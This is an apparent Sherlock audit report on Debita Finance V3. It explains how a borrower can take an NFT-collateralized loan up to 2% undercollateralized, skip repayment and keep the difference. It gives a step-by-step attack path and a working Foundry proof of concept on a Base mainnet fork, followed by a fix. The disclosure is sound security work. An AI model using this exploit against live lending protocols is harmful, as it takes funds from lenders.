Brisk Cobalt Skunk

High

# Allowing undercollateralization for NFT borrow orders leads to instant bad debt and loss of lender's funds

### Summary

When the borrow order `isNFT` is true, the `amountOfCollateral` - collateral used for the principle supplied by all `lendOrders` has to be within 2% margin of the amount of underlying token for the NFT. This means that the borrower can create a borrow order with locked amount of underlying equal to available amount in lender's order minus 2%, and match the offers by requesting the full available amount.

### Root Cause

Allowing undercollateralization of the loan:
https://github.com/sherlock-audit/2024-11-debita-finance-v3/blob/main/Debita-V3-Contracts/contracts/DebitaV3Aggregator.sol#L565-L571

### Internal pre-conditions

- lend orders with receipt NFT set as accepted collateral exist
- malicious user has a borrow order with that NFT set as collateral with underlying token amount worth 2% less in principle token than the lend order's available amount 
- malicious user frontruns any attempts to call `matchOffersV3()` with any of the above orders to become the connector and ensure their borrow order is matched only with the chosen lend orders

### External pre-conditions

--

### Attack Path

1. Hunt for lending orders that support NFT as collateral offering any principles ( the less lend orders, the easier the attack; the more lend orders, the bigger loss of funds is incurred - similarly with the amount of principal offered ).
2. Once found, create a borrow order where the amount of underlying token is at most 2% smaller than the amount of underlying token of value equal to principal they'll request from the lender.
3. Call `matchOffersV3()` for this orders creating a loan for 5 days - to pay the minimum 0.2% fee minus 15% for the connector which goes to the attacker.
4. Do not repay the loan, stealing the 2% difference from the lender and avoiding any interest. 
5. Repeat for all new lending orders supporting NFTs as collateral. 

Note that the `ratio` does not matter for that exploit, assuming that the lender is honest. That's because the exploit simply requires proper parameters adjustment to reach an allowed state of undercollateralization.


### Impact

Undercollateralization possible on loan creation leads to unavoidable loss of funds for the lender. The loss is relevant - up to 2% of the value of principal tokens in collateral token, and it can be easily repeated for all lend orders approving NFT collateral. 


### PoC

The PoC was created by modifying `MixOneLenderLoanReceipt.t.sol` test file where NFT collateral was used for a loan with one borrower and one lender. For simplicity, the PoC is provided as a new file in the dropdown below. However, major changes to the setup changes are explained with `@note` comment and the test case itself is called `test_LenderLossDueToUndercollateralization`.
<details>
<summary>PoC</summary>
```solidity

pragma solidity ^0.8.0;

import {Test, console} from "forge-std/Test.sol";
import {veNFTEqualizer} from "@contracts/Non-Fungible-Receipts/veNFTS/Equalizer/Receipt-veNFT.sol";
import {veNFTVault} from "@contracts/Non-Fungible-Receipts/veNFTS/Equalizer/veNFTEqualizer.sol";

import {DBOFactory} from "@contracts/DebitaBorrowOffer-Factory.sol";
import {DBOImplementation} from "@contracts/DebitaBorrowOffer-Implementation.sol";
import {DLOFactory} from "@contracts/DebitaLendOfferFactory.sol";
import {DLOImplementation} from "@contracts/DebitaLendOffer-Implementation.sol";
import {DebitaV3Aggregator} from "@contracts/DebitaV3Aggregator.sol";
import {Ownerships} from "@contracts/DebitaLoanOwnerships.sol";
import {auctionFactoryDebita} from "@contracts/auctions/AuctionFactory.sol";
import "@openzeppelin/contracts/token/ERC20/IERC20.sol";
import {DynamicData} from "../../../interfaces/getDynamicData.sol";
// import ERC20
import {ERC20Mock} from "@openzeppelin/contracts/mocks/token/ERC20Mock.sol";
import {DebitaV3Loan} from "@contracts/DebitaV3Loan.sol";
import {DebitaIncentives} from "@contracts/DebitaIncentives.sol";
import {VotingEscrow} from "@aerodrome/VotingEscrow.sol";
import {DebitaV3Loan} from "@contracts/DebitaV3Loan.sol";
import {DutchAuction_veNFT} from "@contracts/auctions/Auction.sol";
import {DebitaChainlink} from "@contracts/oracles/DebitaChainlink.sol";
import {DebitaPyth} from "@contracts/oracles/DebitaPyth.sol";
```
```solidity
contract DebitaAggregatorTest is Test, DynamicData {
    VotingEscrow public ABIERC721Contract;
    veNFTEqualizer public receiptContract;
    DBOFactory public DBOFactoryContract;
    DLOFactory public DLOFactoryContract;
    Ownerships public ownershipsContract;
    DebitaIncentives public incentivesContract;
    DebitaV3Aggregator public DebitaV3AggregatorContract;
    auctionFactoryDebita public auctionFactoryDebitaContract;
    DynamicData public allDynamicData;
    DebitaV3Loan public DebitaV3LoanContract;
    ERC20Mock public AEROContract;
    ERC20Mock public USDCContract;
    DLOImplementation public LendOrder;
    DBOImplementation public BorrowOrder;

    address DebitaChainlinkOracle;
    address DebitaPythOracle;

    address veAERO = 0xeBf418Fe2512e7E6bd9b87a8F0f294aCDC67e6B4;
    address AERO = 0x940181a94A35A4569E4529A3CDfB74e38FD98631;
    address USDC = 0x833589fCD6eDb6E08f4c7C32D4f71b54bdA02913;
    address AEROFEED = 0x4EC5970fC728C5f65ba413992CD5fF6FD70fcfF0;
    address borrower = address(0x02);
    address lender = address(this);

    uint receiptID;
    // @note veNFT ID
    uint ID;
    // @note for final balance asserts only
    uint borrowersInitialAEROBalance;

    function setUp() public {
        allDynamicData = new DynamicData();
        ownershipsContract = new Ownerships();
        receiptContract = new veNFTEqualizer(veAERO, AERO);
        ABIERC721Contract = VotingEscrow(veAERO);
        incentivesContract = new DebitaIncentives();
        DBOImplementation borrowOrderImplementation = new DBOImplementation();
        DBOFactoryContract = new DBOFactory(address(borrowOrderImplementation));
        DLOImplementation proxyImplementation = new DLOImplementation();
        DLOFactoryContract = new DLOFactory(address(proxyImplementation));
        auctionFactoryDebitaContract = new auctionFactoryDebita();
        AEROContract = ERC20Mock(AERO);
        USDCContract = ERC20Mock(USDC);
        DebitaV3Loan loanInstance = new DebitaV3Loan();
        DebitaV3AggregatorContract = new DebitaV3Aggregator(
            address(DLOFactoryContract),
            address(DBOFactoryContract),
            address(incentivesContract),
            address(ownershipsContract),
            address(auctionFactoryDebitaContract),
            address(loanInstance)
        );

        ownershipsContract.setDebitaContract(
            address(DebitaV3AggregatorContract)
        );
        auctionFactoryDebitaContract.setAggregator(
            address(DebitaV3AggregatorContract)
        );
        DLOFactoryContract.setAggregatorContract(
            address(DebitaV3AggregatorContract)
        );
        DBOFactoryContract.setAggregatorContract(
            address(DebitaV3AggregatorContract)
        );

        incentivesContract.setAggregatorContract(
            address(DebitaV3AggregatorContract)
        );
        DebitaV3AggregatorContract.setValidNFTCollateral(
            address(receiptContract),
            true
        );
        // @note deal these values for simplicity of final balance calculations
        deal(AERO, lender, 1020e18, false);
        deal(AERO, borrower, 1000e18, false);

        setOracles();

        bool[] memory oraclesActivated = allDynamicData.getDynamicBoolArray(1);
        uint[] memory ltvs = allDynamicData.getDynamicUintArray(1);
        uint[] memory ratio = allDynamicData.getDynamicUintArray(1);

        address[] memory acceptedPrinciples = allDynamicData
            .getDynamicAddressArray(1);
        address[] memory acceptedCollaterals = allDynamicData
            .getDynamicAddressArray(1);
        address[] memory oraclesPrinciples = allDynamicData
            .getDynamicAddressArray(1);
        // @note again, for simplicity 
        ratio[0] = 1e18;
        oraclesPrinciples[0] = DebitaChainlinkOracle;
        // @note for this PoC AERO is used for both principle and underlying token to avoid unnecessary calculations to account for price difference
        acceptedPrinciples[0] = AERO;
        acceptedCollaterals[0] = address(receiptContract);
        oraclesActivated[0] = true;
        ltvs[0] = 5000;

        // Lender creates the lend order:
           AEROContract.approve(address(DLOFactoryContract), 1020e18);
        ratio[0] = 1e18;
        oraclesActivated[0] = false;

        address lendOrderAddress = DLOFactoryContract.createLendOrder(
            false,
            oraclesActivated,
            false,
            ltvs,
            1000,
            8640000,
            86400,
            acceptedCollaterals,
            AERO,
            oraclesPrinciples,
            ratio,
            DebitaChainlinkOracle,
            1020e18
        );

    
        // Borrower creates a receipt id where locked amount after multiplying by 1.02 equals the available amount in lender's offer - the 0.02 is what gets requested and stolen

        vm.startPrank(borrower);  
        // @note increase the values for easier calculations
        borrowersInitialAEROBalance = 1000e18;
        IERC20(AERO).approve(address(ABIERC721Contract), 1000e18);
        uint id = ABIERC721Contract.createLock(1000e18, 365 * 4 * 86400);
        ABIERC721Contract.approve(address(receiptContract), id);
        uint[] memory nftID = allDynamicData.getDynamicUintArray(1);
        nftID[0] = id;
        ID = id;
        receiptContract.deposit(nftID);

        receiptID = receiptContract.lastReceiptID();

        IERC20(AERO).approve(address(DBOFactoryContract), 1000e18);

        
        receiptContract.approve(address(DBOFactoryContract), receiptID);
        address borrowOrderAddress = DBOFactoryContract.createBorrowOrder(
            oraclesActivated,
            ltvs,
            1400,
            // @note 5 days loan
            432000,
            acceptedPrinciples,
            address(receiptContract),
            true,
            receiptID,
            oraclesPrinciples,
            ratio,
            DebitaChainlinkOracle,
            1
        );
        vm.stopPrank();

         LendOrder = DLOImplementation(lendOrderAddress);
        BorrowOrder = DBOImplementation(borrowOrderAddress);
    }
    
    function test_LenderLossDueToUndercollateralization() public {
        uint borrowerBalanceBefore = ABIERC721Contract.balanceOfNFT(ID) + AEROContract.balanceOf(borrower);

        // Match offer 
                address[] memory lendOrders = allDynamicData.getDynamicAddressArray(1);
        uint[] memory lendAmountPerOrder = allDynamicData.getDynamicUintArray(
            1
        );
        uint[] memory porcentageOfRatioPerLendOrder = allDynamicData
            .getDynamicUintArray(1);
        address[] memory principles = allDynamicData.getDynamicAddressArray(1);
        uint[] memory indexForPrinciple_BorrowOrder = allDynamicData
            .getDynamicUintArray(1);
        uint[] memory indexForCollateral_LendOrder = allDynamicData
            .getDynamicUintArray(1);
        uint[] memory indexPrinciple_LendOrder = allDynamicData
            .getDynamicUintArray(1);
        indexForPrinciple_BorrowOrder[0] = 0;
        indexForCollateral_LendOrder[0] = 0;
        indexPrinciple_LendOrder[0] = 0;

        lendOrders[0] = address(LendOrder);
        // @note the exploit happens here - more is requested than supplied as collateral
        lendAmountPerOrder[0] = 1020e18;
        porcentageOfRatioPerLendOrder[0] = 10000;
        principles[0] = AERO;

        address loan = DebitaV3AggregatorContract.matchOffersV3(
            lendOrders,
            lendAmountPerOrder,
            porcentageOfRatioPerLendOrder,
            address(BorrowOrder),
            principles,
            indexForPrinciple_BorrowOrder,
            indexForCollateral_LendOrder,
            indexPrinciple_LendOrder
        );

        DebitaV3LoanContract = DebitaV3Loan(loan);

        // Malicious borrower does not repay the loan

        // Liquidate to recover at least the collateral
        vm.warp(block.timestamp + 8640010);
        address ownerBefore = receiptContract.ownerOf(receiptID);
        DebitaV3LoanContract.claimCollateralAsLender(0);
        address ownerAfter = receiptContract.ownerOf(receiptID);
        assertEq(ownerBefore, address(DebitaV3LoanContract));
        assertEq(ownerAfter, lender);

        uint borrowerBalanceAfter = AEROContract.balanceOf(borrower);
        
        uint stolenAERO = borrowerBalanceAfter - borrowerBalanceBefore - borrowersInitialAEROBalance;
        console.log("AERO earned: ", stolenAERO); // 17.96e18
        uint minFee = 20;
        uint borrowFees =  1020e18 * minFee / 10000; // 2.04e18
        assertEq(stolenAERO, 20e18 - borrowFees);
    }

     function setOracles() internal {
        DebitaChainlink oracle = new DebitaChainlink(
            0xBCF85224fc0756B9Fa45aA7892530B47e10b6433,
            address(this)
        );
        DebitaPyth oracle2 = new DebitaPyth(address(0x0), address(0x0));
        DebitaV3AggregatorContract.setOracleEnabled(address(oracle), true);
        DebitaV3AggregatorContract.setOracleEnabled(address(oracle2), true);

        oracle.setPriceFeeds(AERO, 0x4EC5970fC728C5f65ba413992CD5fF6FD70fcfF0);

        DebitaChainlinkOracle = address(oracle);
        DebitaPythOracle = address(oracle2);
    }
}
```
</details>

Create a new test file with any name and paste the code from the gist into it. Then run the test with:
```shell
 forge test --fork-url https://mainnet.base.org --fork-block-number 21151256  --mt test_LenderLossDueToUndercollateralization -vvv
```


### Mitigation

Don't allow the creation of undercollateralized loans:
```solidity
 require(
                amountOfCollateral <=
                    (borrowInfo.valuableAssetAmount * 10000) / 10000 &&
                    amountOfCollateral >=
                    (borrowInfo.valuableAssetAmount * 9800) / 10000,
                "Invalid collateral amount"
            );
```